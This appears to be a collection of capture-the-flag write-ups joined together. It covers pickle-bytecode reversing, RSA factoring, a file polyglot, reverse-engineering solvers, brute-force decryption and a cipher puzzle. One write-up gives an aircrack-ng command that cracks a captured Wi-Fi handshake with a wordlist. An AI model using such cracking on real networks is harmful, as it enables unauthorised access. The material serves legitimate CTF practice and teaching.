'\x80\x04cpickle\nio\ncio\npickledmacadamia.__sub__\ncio\npickledbarberry\n\x85R.'io.pickledlychee = '\x80\x04cpickle\nio\ncio\npickledmacadamia.__xor__\ncio\npickledbarberry\n\x85R.'io.pickledcrabapple = '\x80\x04cpickle\nio\ncio\npickledmacadamia.__eq__\ncio\npickledbarberry\n\x85R.'io.pickledportabella = '\x80\x04cpickle\nio\ncio\npickledmacadamia.__ne__\ncio\npickledbarberry\n\x85R.'io.pickledquince = '\x80\x04cpickle\nio\ncio\npickledmacadamia.__le__\ncio\npickledbarberry\n\x85R.'io.pickledeasternmayhawthorn = '\x80\x04cpickle\nio\ncio\npickledmacadamia.__ge__\ncio\npickledbarberry\n\x85R.'# Each of these pushes io.pickledmacadamia.__add__ to the stack followed by (pickledbarberry,)# Or another methodio.pickledmonstera = 'I1\n.'io.pickledcorneliancherry = 'I0\n.'io.pickledalligatorapple = '\x80\x04I'io.pickledboysenberry = 'VERY LONG'io.pickledgreekoregano = '\nI'io.pickledpupunha = ("Nope!", "Correct!")io.pickledximenia = flagio.pickledgarlic = ("pickledcorneliancherry", "pickledboysenberry")io.pickledburmesgrape = flag.len()io.pickledximenia = flag.encode()var5 = int(io.pickledburmesgrape == 64) # 1 if len(input) is 64, 0 otherwisevar6 = pickledgarlic[var5] # pickledcorneliancherry if len(input) is not 64, pickledboysenberry if it isvar7 = loads(var6) # loads(b'I0\n.') if len(input) is not 64, loads(b'VERY LONG') if it isvar8 = pickledpupunha[var7] # 'Nope!' if returned value is 0, 'Correct!' if it's 1print(var8)``` The first few variables saved are constants which, when unpickled, will compare `io.pickledmacadamia` to `io.pickledbarberry` in some way. If our flag length is 64, it will run the pickle in `pickledboysenberry` - otherwise, it will skip it and return 0. Our flag is saved to `pickledximenia`. ## Stage 3 Again running Fickling on our new pickle, we receive this output ```pythonfrom pickle import iofrom io import pickledgreekoregano.joinfrom builtins import mapfrom builtins import str_var0 = map(str, pickledximenia)_var1 = b"\nI".join(_var0)_var2 = io_var2.__setstate__({'pickledximenia': _var1})from io import pickledximenia.encode_var3 = pickledximenia.encode()_var4 = _var2_var4.__setstate__({'pickledximenia': _var3})from io import pickledalligatorapple.__add__from io import pickledximenia_var5 = pickledalligatorapple.__add__(pickledximenia)_var6 = _var4_var6.__setstate__({'pickledalligatorapple': _var5})from io import pickledalligatorapple.__add___var7 = pickledalligatorapple.__add__(b'\n')_var8 = _var6_var8.__setstate__({'pickledalligatorapple': _var7})from io import pickledalligatorapple_var9 = _var8_var9.__setstate__({'pickledblackapple': pickledalligatorapple, 'pickledyellowpeartomato': 1})``` If we clean it up: ```pythonflag = "\nI".join([str(x) for x in pickledximenia]).encode()flag = b'\x80\x04I' + flag + b'\n'io.pickledblackapple = flagio.pickledyellowpeartomato = 1``` Our flag is converted into 64 integers which are pushed onto the stack. The next part: ```pythonfrom io import pickledblackapple.__add___var10 = pickledblackapple.__add__(b'p0\n0cpickle\nio\n(\x8c\x10pickledmacadamiag0\ndb(\x8c\x17pickledyellowpeartomatocio\npickledyellowpeartomato.__and__\ncio\npickledmacadamia.__gt__\nI32\n\x85R\x85Rdb(\x8c\x17pickledyellowpeartomatocio\npickledyellowpeartomato.__and__\ncio\npickledmacadamia.__lt__\nI127\n\x85R\x85Rdb0')_var11 = _var9_var11.__setstate__({'pickledblackapple': _var10})``` This part is repeated 64 times, and looks like this when disassembled ```>>> pickletools.dis(a, annotate=50) 4: p PUT 0 Store the stack top into the memo. The stack is not popped. 7: 0 POP Discard the top stack item, shrinking the stack by one item. 8: c GLOBAL 'pickle io' Push a global object (module.attr) on the stack. 19: ( MARK Push markobject onto the stack. 20: \x8c SHORT_BINUNICODE 'pickledmacadamia' Push a Python Unicode string object. 38: g GET 0 Read an object from the memo and push it on the stack. 41: d DICT (MARK at 19) Build a dict out of the topmost stack slice, after markobject. 42: b BUILD Finish building an object, via __setstate__ or dict update. 43: ( MARK Push markobject onto the stack. 44: \x8c SHORT_BINUNICODE 'pickledyellowpeartomato' Push a Python Unicode string object. 69: c GLOBAL 'io pickledyellowpeartomato.__and__' Push a global object (module.attr) on the stack. 105: c GLOBAL 'io pickledmacadamia.__gt__' Push a global object (module.attr) on the stack. 133: I INT 32 Push an integer or bool. 137: \x85 TUPLE1 Build a one-tuple out of the topmost item on the stack. 138: R REDUCE Push an object built from a callable and an argument tuple. 139: \x85 TUPLE1 Build a one-tuple out of the topmost item on the stack. 140: R REDUCE Push an object built from a callable and an argument tuple. 141: d DICT (MARK at 43) Build a dict out of the topmost stack slice, after markobject. 142: b BUILD Finish building an object, via __setstate__ or dict update. 143: ( MARK Push markobject onto the stack. 144: \x8c SHORT_BINUNICODE 'pickledyellowpeartomato' Push a Python Unicode string object. 169: c GLOBAL 'io pickledyellowpeartomato.__and__' Push a global object (module.attr) on the stack. 205: c GLOBAL 'io pickledmacadamia.__lt__' Push a global object (module.attr) on the stack. 233: I INT 127 Push an integer or bool. 238: \x85 TUPLE1 Build a one-tuple out of the topmost item on the stack. 239: R REDUCE Push an object built from a callable and an argument tuple. 240: \x85 TUPLE1 Build a one-tuple out of the topmost item on the stack. 241: R REDUCE Push an object built from a callable and an argument tuple. 242: d DICT (MARK at 143) Build a dict out of the topmost stack slice, after markobject. 243: b BUILD Finish building an object, via __setstate__ or dict update. 244: 0 POP Discard the top stack item, shrinking the stack by one item.``` This looks complex, but with a quick glance at the constants and functions, we can guess the purpose - checking that each character of the flag is between 32 and 127 - or `0x20 <= c <= 0x7f`, i.e. the printable ASCII range. We then reach the net part, which is where the flag checking logic actually begins: ```pythonfrom io import pickledalligatorapple.__add___var140 = pickledalligatorapple.__add__(b'000000000000000000000000000000000000000000000000000000000000000p0\n0cpickle\nio\n(\x8c\x10pickledmacadamiag0\n\x8c\x0fpickledbarberryI102\n\x8c\rpickledgarlic\x8c\x16pickledcorneliancherry\x8c\x11pickledbluetongue\x86dbcpickle\nloads\n\x8c\x02iocio\npickledgarlic.__getitem__\ncpickle\nloads\ncio\npickledcrabapple\n\x85R\x85R\x93\x85R.')from io import pickledalligatorapple.__add___var141 = pickledalligatorapple.__add__(b'00000000000000000000000000000000000000000000000000000000000000p0\n00cpickle\nio\n(\x8c\x10pickledmacadamiag0\n\x8c\x0fpickledbarberryI108\n\x8c\rpickledgarlic\x8c\x16pickledcorneliancherry\x8c\x16pickledroseleafbramble\x86dbcpickle\nloads\n\x8c\x02iocio\npickledgarlic.__getitem__\ncpickle\nloads\ncio\npickledcrabapple\n\x85R\x85R\x93\x85R.')from io import pickledalligatorapple.__add___var142 = pickledalligatorapple.__add__(b'0000000000000000000000000000000000000000000000000000000000000p0\n000cpickle\nio\n(\x8c\x10pickledmacadamiag0\n\x8c\x0fpickledbarberryI97\n\x8c\rpickledgarlic\x8c\x16pickledcorneliancherry\x8c\x0cpickledolive\x86dbcpickle\nloads\n\x8c\x02iocio\npickledgarlic.__getitem__\ncpickle\nloads\ncio\npickledcrabapple\n\x85R\x85R\x93\x85R.')from io import pickledalligatorapple.__add___var143 = pickledalligatorapple.__add__(b'000000000000000000000000000000000000000000000000000000000000p0\n0000cpickle\nio\n(\x8c\x10pickledmacadamiag0\n\x8c\x0fpickledbarberryI103\n\x8c\rpickledgarlic\x8c\x16pickledcorneliancherry\x8c\x0fpickledvoavanga\x86dbcpickle\nloads\n\x8c\x02iocio\npickledgarlic.__getitem__\ncpickle\nloads\ncio\npickledcrabapple\n\x85R\x85R\x93\x85R.')_var144 = _var139``` If we disassemble the first, we see: ``` POP * 63 4: p PUT 0 7: 0 POP 8: c GLOBAL 'pickle io' 19: ( MARK 20: \x8c SHORT_BINUNICODE 'pickledmacadamia' 38: g GET 0 41: \x8c SHORT_BINUNICODE 'pickledbarberry' 58: I INT 102 63: \x8c SHORT_BINUNICODE 'pickledgarlic' 78: \x8c SHORT_BINUNICODE 'pickledcorneliancherry' 102: \x8c SHORT_BINUNICODE 'pickledbluetongue' 121: \x86 TUPLE2 122: d DICT (MARK at 19) 123: b BUILD 124: c GLOBAL 'pickle loads' 138: \x8c SHORT_BINUNICODE 'io' 142: c GLOBAL 'io pickledgarlic.__getitem__' 172: c GLOBAL 'pickle loads' 186: c GLOBAL 'io pickledcrabapple' 207: \x85 TUPLE1 208: R REDUCE 209: \x85 TUPLE1 210: R REDUCE 211: \x93 STACK_GLOBAL 212: \x85 TUPLE1 213: R REDUCE 214: . STOP ``` This constructs a dict of `{pickledmacadamia: <first char>, pickledbarberry: 102, pickledgarlic: (pickledbluetongue, pickledcorneliancherry)}` We then use `pickledcrabapple` (earlier defined as `pickledmacadamia.__eq__(pickledbarberry)`). This is repeated 4 times, with different numbers of pops and constants. If we convert the constants to ASCII, we get `flag` - this pops the first 4 characters, and checks that they are 'flag'. ## Checking Logic The rest of the checking logic is a little more complex. They each load two characters from the flag, and compare them using `sub, xor, eq, ne, le, ge`. Some checks also `add` two characters together then use `eq` to check if it matches a constant. This is a perfect case for solving using [Z3](https://github.com/Z3Prover/z3). We create a stub like this: ```pythonfrom z3 import *s = Solver()flag = [BitVec('flag_%s' % i, 8) for i in range(0, 64)]for c in flag: s.add(c <= 0x7f) s.add(c >= 0x20)``` Then all we need to do is parse each check and convert it into a z3-style check. ```pythondata = open("checks.txt").read().split("\n")import pickle for line in data: # Convert the data into a bytestring literal pickletext = eval("b'" + line + "'") example = pickletext # Create a fake stack so it will unpickle properly. The value at each index is the index, so we can track the position of the checks flag = [i for i in range(0, 64)] flag = b"I" + b'\nI'.join([str(i).encode('latin1') for i in flag]) + b"\n" end = example.index(b'dbc') + 1 # Slice it up to the parts calling functions - we only want to build the dict example = example[:end] example = flag + example + b"." example = (pickle.loads(example)) # Load the 2 p0 = example["pickledmacadamia"] p1 = example["pickledbarberry"] # Check which operation is used, and output the appropriate check if b"pickledhorseradish" in pickletext: tmp = (int(pickletext.split(b"I")[1].split(b"\n")[0].decode())) print(f"s.add(flag[{p0}] + flag[{p1}] == {tmp})") if b"pickledlychee" in pickletext: tmp = (int(pickletext.split(b"I")[1].split(b"\n")[0].decode())) print(f"s.add(flag[{p0}] ^ flag[{p1}] == {tmp})") if b"pickledcoconut" in pickletext: tmp = (int(pickletext.split(b"I")[1].split(b"\n")[0].decode())) print(f"s.add(flag[{p0}] - flag[{p1}] == {tmp})")``` We are now able to print the z3-generated model, and read the flag: `flag{n0w_th4t5_4_b1g_p1ckl3_1n_4_p1ckl3_but_1t_n33d3d_s0m3_h3lp}`
> Gerald's homework is getting trickier. He isn't being given the primes anymore. Help him find the plaintext! > Author: akth3n3rd Same as [Easy RSA](https://ctftime.org/writeup/28876), but have to work out p, q, from n. Just used [factordb to do the factoring](http://factordb.com/index.php?query=947358141650877977744217194496965988823475109838113032726009)... ```p: 884666943491340899394244376743q: 1070864180718820651198166458463e: 65537ct (as hex): 8159e4e97b04af127fed8fbd40bd03c80c3f4b8b764a86394cn: 834418746183915656610879248898026819357498357797104542136881 pt (as hex): 6263616374667b7273615f666163746f72696e677dpt (as string): bcactf{rsa_factoring}``` Flag: `bcactf{rsa_factoring}`
[Link to original writeup](https://wrecktheline.com/writeups/imaginary-2021/#Chimaera_Forensics) # Chimaera (8 solves, 300 points)by adragos We are given a PDF file named chimaera.pdf, when we open it in a normal PDF viewer we only get a red flag. Trying the file command on the file shows us that: ```$ file chimaera.pdfchimaera.pdf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped``` So the file is a ELF 64-bit binary, let's try to run it: ```$ ./chimaera.pdfictf{thr33_``` Looks like we got the first part of the flag Next, we can use pdf2txt to find out if there are any characters hidden inside the pdf: ```$ pdf2txt chimaera.pdfjctf{red_flags_are_fake_flags} h34ds_l ``` And it looks like we got the 2nd part of the flag, we now have `ictf{thr33_h34ds_l}` Running binwalk on the file: ```$ binwalk chimaera.pdf DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 ELF, 64-bit LSB executable, AMD x86-64, version 1 (SYSV)600 0x258 Zip archive data, at least v1.0 to extract, compressed size: 5139, uncompressed size: 5139, name: chimaera.pdf ``` So there's a zip file, if we unzip it with 7-zip we get only a pdf file and a fake flag. Let's look closely: ```00001490: 5f66 6c61 6773 7d50 4b03 040a 0000 000d _flags}PK.......000014a0: 0000 0000 000d c613 9321 0000 000d 0000 .........!......000014b0: 0000 0000 0009 0405 005d 0000 8000 0018 .........]......000014c0: 9ac2 6601 8f45 607e c89c e051 6589 87dc ..f..E`~...Qe...000014d0: ffff 072c 0000 504b 0102 0a00 0000 0000 ...,..PK........``` Seems like there is another piece of data which appears to be corrupted, let's isolate it ```00000000: 504b 0304 0a00 0000 0d00 0000 0000 0dc6 PK..............00000010: 1393 2100 0000 0d00 0000 0000 0000 0904 ..!.............00000020: 0500 5d00 0080 0000 189a c266 018f 4560 ..]........f..E`00000030: 7ec8 9ce0 5165 8987 dcff ff07 2c00 00 ~...Qe......,..``` Notice that the compression method is 0x0d = 13, which per this table: ``` 4.4.5 compression method: (2 bytes) 0 - The file is stored (no compression) 1 - The file is Shrunk 2 - The file is Reduced with compression factor 1 3 - The file is Reduced with compression factor 2 4 - The file is Reduced with compression factor 3 5 - The file is Reduced with compression factor 4 6 - The file is Imploded 7 - Reserved for Tokenizing compression algorithm 8 - The file is Deflated 9 - Enhanced Deflating using Deflate64(tm) 10 - PKWARE Data Compression Library Imploding (old IBM TERSE) 11 - Reserved by PKWARE 12 - File is compressed using BZIP2 algorithm 13 - Reserved by PKWARE 14 - LZMA 15 - Reserved by PKWARE 16 - IBM z/OS CMPSC Compression 17 - Reserved by PKWARE 18 - File is compressed using IBM TERSE (new) 19 - IBM LZ77 z Architecture 20 - deprecated (use method 93 for zstd) 93 - Zstandard (zstd) Compression 94 - MP3 Compression 95 - XZ Compression 96 - JPEG variant 97 - WavPack compressed data 98 - PPMd version I, Rev 1 99 - AE-x encryption marker (see APPENDIX E)``` Is not really a valid compression method. I changed the compression method to LZMA because it was closer to it and when decompressing with 7-zip we get the last piece of the flag: The "good" zip file: ```00000000: 504b 0304 0a00 0000 0e00 0000 0000 0dc6 PK..............00000010: 1393 2100 0000 0d00 0000 0000 0000 0904 ..!.............00000020: 0500 5d00 0080 0000 189a c266 018f 4560 ..]........f..E`00000030: 7ec8 9ce0 5165 8987 dcff ff07 2c00 00 ~...Qe......,..``` The third piece of the flag: `1k3_kerber0s}` The final flag: `ictf{thr33_h34ds_l1k3_kerber0s}`
The solution itself is not that much - go to the website, do inspect, and go to the console tab to see the flag (or execute the javascript code at the end of the html file). The [writeup](https://github.com/babaiserror/ctf/tree/main/%5B210723-27%5D%20ImaginaryCTF%202021/Roos%20World) includes the process of trying to figure out how the jsfuck code works.
```pythonv26 = [0]*39;v26[0] = 77;v26[1] = 185;v26[2] = 77;v26[3] = 11;v26[4] = 212;v26[5] = 102;v26[6] = 227;v26[7] = 41;v26[8] = 184;v26[9] = 77;v26[10] = 223;v26[11] = 102;v26[12] = 184;v26[13] = 77;v26[14] = 14;v26[15] = 196;v26[16] = 223;v26[17] = 212;v26[18] = 20;v26[19] = 59;v26[20] = 223;v26[21] = 102;v26[22] = 44;v26[23] = 20;v26[24] = 71;v26[25] = 223;v26[26] = 183;v26[27] = 184;v26[28] = 183;v26[29] = 223;v26[30] = 71;v26[31] = 77;v26[32] = 164;v26[33] = 223;v26[34] = 50;v26[35] = 184;v26[36] = 234;v26[37] = 245;v26[38] = 146; # copy the array with which our string is compared after the change xor = [107, 240, 27, 171, 100, 107, 107, 250, 107, 107, 34, 237, 189, 90, 205, 160, 121, 104, 80, 253, 56] plus = [117, -43, 99, 10, -115, -75, 22, 118, -38, -66, 69, -31, 11, -72, 10, -68, 12, 19, 4, 18, 59]# copy the arrays of numbers through which each char is run. for i in range(39): for j in range(len(xor)): v26[i] ^= xor[j] v26[i] = (v26[i] - plus[j]) % 0x100 # so that there are no negative numbers, subtract modulo 256 (0x100) print(''.join(map(chr, v26))) # uiuctf{y0u_f0unD_t43_fl4g_w0w_gud_j0b}```
**Full write-up:** https://www.sebven.com/ctf/2021/08/03/ImaginaryCTF2021-Prisoners-Dilemma.html Misc – 200 pts (63 solves) – Chall author: Robin_Jadoul A fun little VIM jail. Most of our ways out are blocked by mapping the necessary keys to nothing. Even if we do get out, the connection is immediately broken. Luckily, there is still a way we can get to ex-mode to escape.
**Description:** wasm's a cool new technology! http://wasmbaby.chal.uiuc.tf **Solution:** Go to the site - http://wasmbaby.chal.uiuc.tf Check the source of index.wasm file - flag is on the last line of this file **Flag:** uiuctf{welcome_to_wasm_e3c3bdd1}
**Full write-up:** https://www.sebven.com/ctf/2021/08/03/ImaginaryCTF2021-New-Technology.html Cryptography – 300 pts (50 solves) – Chall author: Robin_Jadoul This challenge is a prime example of why exploring (a local version of) the provided code can lead you to the flag, without at all understanding what is going on. I show you how I found the solution, I proof that it is indeed the solution, without touching any of the underlying math. Che… who needs number theory anyway?
**Description:** You just wirelessly captured the handshake of the CEO of a multi-million dollar company! Use your password cracking skills to get the password! Wrap the password in the flag format. E.g: uiuctf{password} **Solution:** Download attached file and use aircrack-ng with rockyou password list aircrack-ng -w rockyou.txt megacorp-01.cap Link to the rockyou dictionary - https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt **Flag:** uiuctf{nanotechnology}
**doot doot** **Description:** From the creator of "Shrek but only when ANYONE says 'E'", we bring you the most-viewed-YouTube video of all time: https://en.wikipedia.org/wiki/List_of_most-viewed_YouTube_videos#Top_videos https://www.youtube.com/watch?v=zNXl9fqGX40 **Hint:** the flag is in the yellow text, and occurs once in every instance of the yellow text **Solution:** Watch https://www.youtube.com/watch?v=zNXl9fqGX40 - first occurence of the flag is at about 9:56 **Flag:** uiuctf{doot_d0ot_do0t_arent_you_tired_of_the_int4rnet?}
[Link to original writeup](https://wrecktheline.com/writeups/imaginary-2021/#foliage) # Foliage (8 solves, 400 points)by JaGoTu ## Description```DescriptionWelcome to the woods. Consider yourself lost with only one way out. It's dangerous out here, take this binary Attachments* foliage nc chal.imaginaryctf.org 42013 AuthorRobin_Jadoul Points400``` ## Reversing We are given an **executable ELF file**: ```$ file foliagefoliage: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=639edeae48962dc684b788202f5a326e8b5142f8, for GNU/Linux 3.2.0, not stripped``` Let's throw it straight into IDA. After a bit of renaming we get the following important functions: ```Cint __cdecl main(int argc, const char **argv, const char **envp){ int ready_answer; // [rsp+8h] [rbp-48h] BYREF int v5; // [rsp+Ch] [rbp-44h] BYREF int i; // [rsp+10h] [rbp-40h] int j; // [rsp+14h] [rbp-3Ch] __int64 rand1; // [rsp+18h] [rbp-38h] BYREF __int64 rand2; // [rsp+20h] [rbp-30h] BYREF __int64 rand2_stored; // [rsp+28h] [rbp-28h] BYREF tree_ele *nodes; // [rsp+30h] [rbp-20h] tree_ele *v12; // [rsp+38h] [rbp-18h] tree_ele *v13; // [rsp+40h] [rbp-10h] unsigned __int64 v14; // [rsp+48h] [rbp-8h] v14 = __readfsqword(0x28u); alarm(0x1Eu); init_rnd(&rand1, &rand2); printf("Your seed: %lu\n", rand1); fflush(stdout); nodes = calloc(500001uLL, sizeof(tree_ele)); init_tree(nodes, &rand1, &rand2); printf("Ready? "); fflush(stdout); __isoc99_scanf("%d", &ready_answer); if ( ready_answer != 42 ) exit(1); rand2_stored = rand2; for ( i = 0; i < 50000; ++i ) { do { do v13 = subtrees[choice(500001u, &rand2)]; while ( !v13->left ); } while ( !v13->right ); printf("%d %d\n", v13->left->important_ptr->node_id, v13->right->important_ptr->node_id); } printf("Answers? "); fflush(stdout); for ( j = 0; j < 50000; ++j ) { do { do v12 = subtrees[choice(500001u, &rand2_stored)]; while ( !v12->left ); } while ( !v12->right ); __isoc99_scanf("%d", &v5;; if ( v12->node_id != v5 ) { puts("Wrong!"); return 1; } } print_flag(); return 0;} int __fastcall init_rnd(uint64_t *rand1, uint64_t *rand2){ FILE *stream; // [rsp+18h] [rbp-8h] stream = fopen("/dev/urandom", "r"); if ( !stream ) { fwrite("Could not open /dev/urandom, please contact an operator.\n", 1uLL, 0x39uLL, stderr); exit(1); } fread(rand1, 8uLL, 1uLL, stream); fread(rand2, 8uLL, 1uLL, stream); return fclose(stream);} void __fastcall init_tree(tree_ele *tree, __int64 *rand1, __int64 *rand2){ tree_ele *v3; // rax int i1; // eax int i2; // eax int i; // [rsp+2Ch] [rbp-24h] signed int j; // [rsp+30h] [rbp-20h] int built_offset; // [rsp+34h] [rbp-1Ch] tree_ele *cur_subtree; // [rsp+38h] [rbp-18h] for ( i = 0; i < 500001; ++i ) { subtrees[i] = tree; subtrees[i]->node_id = i; v3 = subtrees[i]; v3->right = 0LL; subtrees[i]->left = v3->right; subtrees[i]->important_ptr = subtrees[i]; ++tree; } j = 250001; built_offset = 0; while ( j <= 500000 ) { cur_subtree = subtrees[j]; i1 = choice(j - built_offset, rand1); swap(i1 + built_offset, built_offset); i2 = choice(j - built_offset - 1, rand1); swap(built_offset + 1 + i2, built_offset + 1); cur_subtree->left = subtrees[built_offset]; cur_subtree->right = subtrees[built_offset + 1]; cur_subtree->important_ptr = subtrees[decide(built_offset, built_offset + 1, j++, rand2)]->important_ptr; built_offset += 2; }} unsigned __int64 __fastcall choice(unsigned int max, _QWORD *rng_state){ return lcg(rng_state) % max;} __int64 __fastcall decide(unsigned int a1, unsigned int a2, unsigned int a3, _QWORD *rndstate){ unsigned __int64 v4; // rax v4 = lcg(rndstate) % 3uLL; if ( v4 == 2 ) return a3; if ( v4 > 2 ) { fwrite("This cannot happen, what??\n", 1uLL, 0x1BuLL, stderr); exit(1); } if ( v4 ) return a2; else return a1;} __int64 __fastcall lcg(_QWORD *rng_state){ *rng_state = 0x5851F42D4C957F2DLL * *rng_state + 1; return *rng_state;} ``` To sum it up: 1. Two random 64-bit values are read from `/dev/urandom`. We'll call them rand1 and rand2.2. The binary gives us rand1.3. Both rand1 and rand2 are used to create 500001 nodes and connect them into binary trees, more details later.4. Rand2-based randomness is used to get 50000 random nodes that have both a left and right son, and we are given `node->left->important_ptr->node_id` and `node->right->important_ptr->node_id`.5. For each of the 50000 questions we need to answer with `node->node_id`.6. We get flag. So to be able to answer the questions, we need to figure out how the tree is generated and what the meaning behind `important_ptr` is. ## Building the tree Let's work through the `init_tree` function now. First, all 500001 nodes are initialized such that they have no children and `important_ptr` points to self. The important part is the while loop: ```C j = 250001; built_offset = 0; while ( j <= 500000 ) { cur_subtree = subtrees[j]; i1 = choice(j - built_offset, rand1); swap(i1 + built_offset, built_offset); i2 = choice(j - built_offset - 1, rand1); swap(built_offset + 1 + i2, built_offset + 1); cur_subtree->left = subtrees[built_offset]; cur_subtree->right = subtrees[built_offset + 1]; cur_subtree->important_ptr = subtrees[decide(built_offset, built_offset + 1, j++, rand2)]->important_ptr; built_offset += 2; }``` As we want to built the same tree locally and we only know rand1, it's also important to note that rand2 is only used for setting the value of `important_ptr`. What the algorithm does is it iteratively walks through the array starting at 250001, picks up two random nodes before the current one that dont have a parent yet and puts them as children of the current one. It puts the already parented nodes at the beginning array, moving `built_offset` as to not consider them anymore: ![array schema](https://wrecktheline.com/writeups/imaginary-2021/foliage_array.drawio.svg) So, what about the `important_ptr`? Each node "inherits" one of the `important_ptr` of itself (which points to itself), or of its left son, or of its right son. As this choice is made based on rand2, we can't predict it, as only rand1 is leaked. However, if we for example take the `important_ptr` of our left son, that son also had to point either to itself or inherit from one of its sons. Eventually, you have to reach a node that has no sons, and that one was never made a parent and as such has to still be pointing to itself, as that's what it was inited to. **The result is, `node->important_ptr` always points to a random node in the subtree implied by `node`** (either the node itself or any of its descendants). ## Answering the questions Back to our questions then. We know that we're looking for a node with a specific `node->left->important_ptr->node_id` and `node->right->important_ptr->node_id`. That means we're looking for a node such that the first `node_id` is in its left subtree and the second `node_id` is in its right subtree. Only one such node can exist though, and it's the Lowest common ancestor (LCA) of the two nodes, which is a known graph theory problem: https://en.wikipedia.org/wiki/Lowest_common_ancestor. As 50000 doesn't like a very huge number, we hope we'll just get away with the simple way of finding LCA, that is by just finding the first intersection of the paths from v and w to the root. So, to answer the questions, we read the rand1, use it to built the same tree, however unlike the given implementation **we also remember a pointer to the parent**, as otherwise finding the path to root would be very painful. When we did the first implementation, it was too slow. Originally, we used the following implementation of `get_node(i)`: ```pydef get_node(i): i = int(i) for node in nodes: if node.index == i: return node``` So we replaced it with something a bit more clever: ```pynodict = [None] * 500001 for node in nodes: nodict[node.index] = node def get_node(i): i = int(i) return nodict[i]``` Second improvement we did was we added caching for the path to root calculations. We're not sure if it was necessary, but it was a simple change. After these changes we get the following solver: ```pyfrom pwn import *#io = process('./foliage')io = remote('chal.imaginaryctf.org', 42013)io.recvuntil(b'seed: ')seeded = int(io.recvline())seed0 = [seeded] def lcg(seed): seed[0] = ((0x5851F42D4C957F2D * seed[0]) + 1) & 0xFFFFFFFFFFFFFFFF return seed[0] def choice(max, seed): return lcg(seed) % max def swap(nodes, i, j): tmp = nodes[i] nodes[i] = nodes[j] nodes[j] = tmp class Node(): def __init__(self, i): self.left = None self.right = None self.index = i self.parent = None self.path = None def path_up(self): if self.path is None: if self.parent is None: self.path = [self.index] else: self.path = [self.index] + self.parent.path_up() return self.path nodes = [] for i in range(500001): nodes.append(Node(i)) built_offset = 0for j in range(250001, 500001): i1 = choice(j-built_offset, seed0) swap(nodes, i1+built_offset, built_offset) i2 = choice(j-built_offset-1, seed0) swap(nodes, i2+built_offset+1, built_offset+1) nodes[j].left = nodes[built_offset] nodes[j].left.parent = nodes[j] nodes[j].right = nodes[built_offset+1] nodes[j].right.parent = nodes[j] built_offset += 2 nodict = [None] * 500001 for node in nodes: nodict[node.index] = node print("built!") def get_node(i): i = int(i) return nodict[i] def get_up(n): res = [] while n is not None: res.append(n.index) n = n.parent return res def find(a, b): aa = get_node(a).path_up() bb = get_node(b).path_up() for x in aa: if x in bb: return x return -1 io.sendlineafter(b'Ready?', b'42')tasks = io.recvuntil('Answers? ').strip().decode().split('\n')[:-1] answer = b'' for task in tasks: (a, b) = task.split(' ') res = find(a, b) answer += str(res).encode() + b'\n'print("done, sending answer") io.send(answer) io.interactive()``` ```$ python3 foliage.py [+] Opening connection to chal.imaginaryctf.org on port 42013: Donebuilt!/home/jagotu/ctf/imaginary/foliage.py:94: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes tasks = io.recvuntil('Answers? ').strip().decode().split('\n')[:-1]done, sending answer[*] Switching to interactive modeictf{I_can_f1n4lly_see_the_forest_through_the_tr33s} [*] Got EOF while reading in interactive$ ```
This can easily be solved by bruteforcing each character of the key. Full code: [main_basic_solve.py](https://github.com/CTF-STeam/ctf-writeups/blob/master/2021/UIUCTF/main_basic_solve.py).```pythondef all_valid(b): return all(x >= 32 and x < 128 for x in b) def bf_key(flag_enc): for c in ALPHABET: try: flag = base_n_decode(flag_enc, ALPHABET.index(c)) if all_valid(flag): return c, flag except: continue return None with open("flag_enc", "rb") as f: flag_enc = f.read()print(flag_enc[:16]) key = ''while len(flag_enc) > 16: c, flag_enc = bf_key(flag_enc) key += chr(c) print(key, flag_enc[:16])``` Output:```b'R4OH278SS4ME1O64'W b'6LDGG8K88173K5GH'WM b'4141131300202234'WM5 b'1S4UTSOJMB2C2LT3'WM5Z b'3046215040463144'WM5Z8 b'124A3243B2242697'WM5Z8C b'138QP2FHMKJ71NED'WM5Z8CR b'233BDI37C8468GBH'WM5Z8CRJ b'6721621858612322'WM5Z8CRJ0 b'1513A70901445151'WM5Z8CRJ0B b'P3R7VG5G8BHAENEU'WM5Z8CRJ0BX b'58DE8D165744E76I'WM5Z8CRJ0BXJ b'2BCB0164601BA772'WM5Z8CRJ0BXJD b'DCD3D7GB74EB1HFE'WM5Z8CRJ0BXJDJ b'4023233122443204'WM5Z8CRJ0BXJDJ5 b'ELKNAORKCPTN4D24'WM5Z8CRJ0BXJDJ5W b'uiuctf{r4DixAL}'```
Here `p` is small, and so is `k`. We [bruteforce](https://github.com/CTF-STeam/ctf-writeups/blob/master/2021/UIUCTF/dhkectfintro_solve.py) all values of `k` from 0 to 30 and see which one gives us the flag. ```pythonciphertext = unhexlify('b31699d587f7daf8f6b23b30cfee0edca5d6a3594cd53e1646b9e72de6fc44fe7ad40f0ea6') iv = bytes("kono DIO daaaaaa", encoding = 'ascii')for k in range(31): key = pad_key(str(k)) cipher = AES.new(key, AES.MODE_CFB, iv) flag = cipher.decrypt(ciphertext) if b'uiuctf' in flag: print(flag)``` Flag: `uiuctf{omae_ha_mou_shindeiru_b9e5f9}`
A rare low-tech challenge, requiring mainly manual labor. The given image contains lines of symbols. I converted these to characters semi-arbitrarily and got:```52M011V0i12?1J14244E102514O51J12PMOMN?7P32P4E7012P14E1437P12F50?1F7MNOMN07F1FJ4752M4E1J2P14370OX107?4E10251?7OMOM4EO037PFX3E1P1Y1P4E1P1O0FONE44E1P12P12F070E2X730?F2NO0E73F7MNXOXO442V1J7?4707FY1O4```(The question marks represent rare symbols I was too lazy to convert...) Counting these, we can see this is a substitution cypher. "1" (appearing 30 times) and "4" (19 times) being the most frequent symbols, while other symbols are rarer. Breaking the substitution cipher we get:```MANSEEkSpEAcEYETATTHESAMETIMEYEARNINGfORWARTHOSEARETHETWOREALMSbELONGINGSOLELYTOMANTHEYARETWOSIDESOfTHESAMEcOININTHISWORLDWHEREvERTHEREISLIGHTTHEREAREALSOSHADOWSfLAGISHOWLONGDIDITTAkEYOuTOSOLvEIT```Flag is SBCTF{howlongdidittakeyoutosolveit}
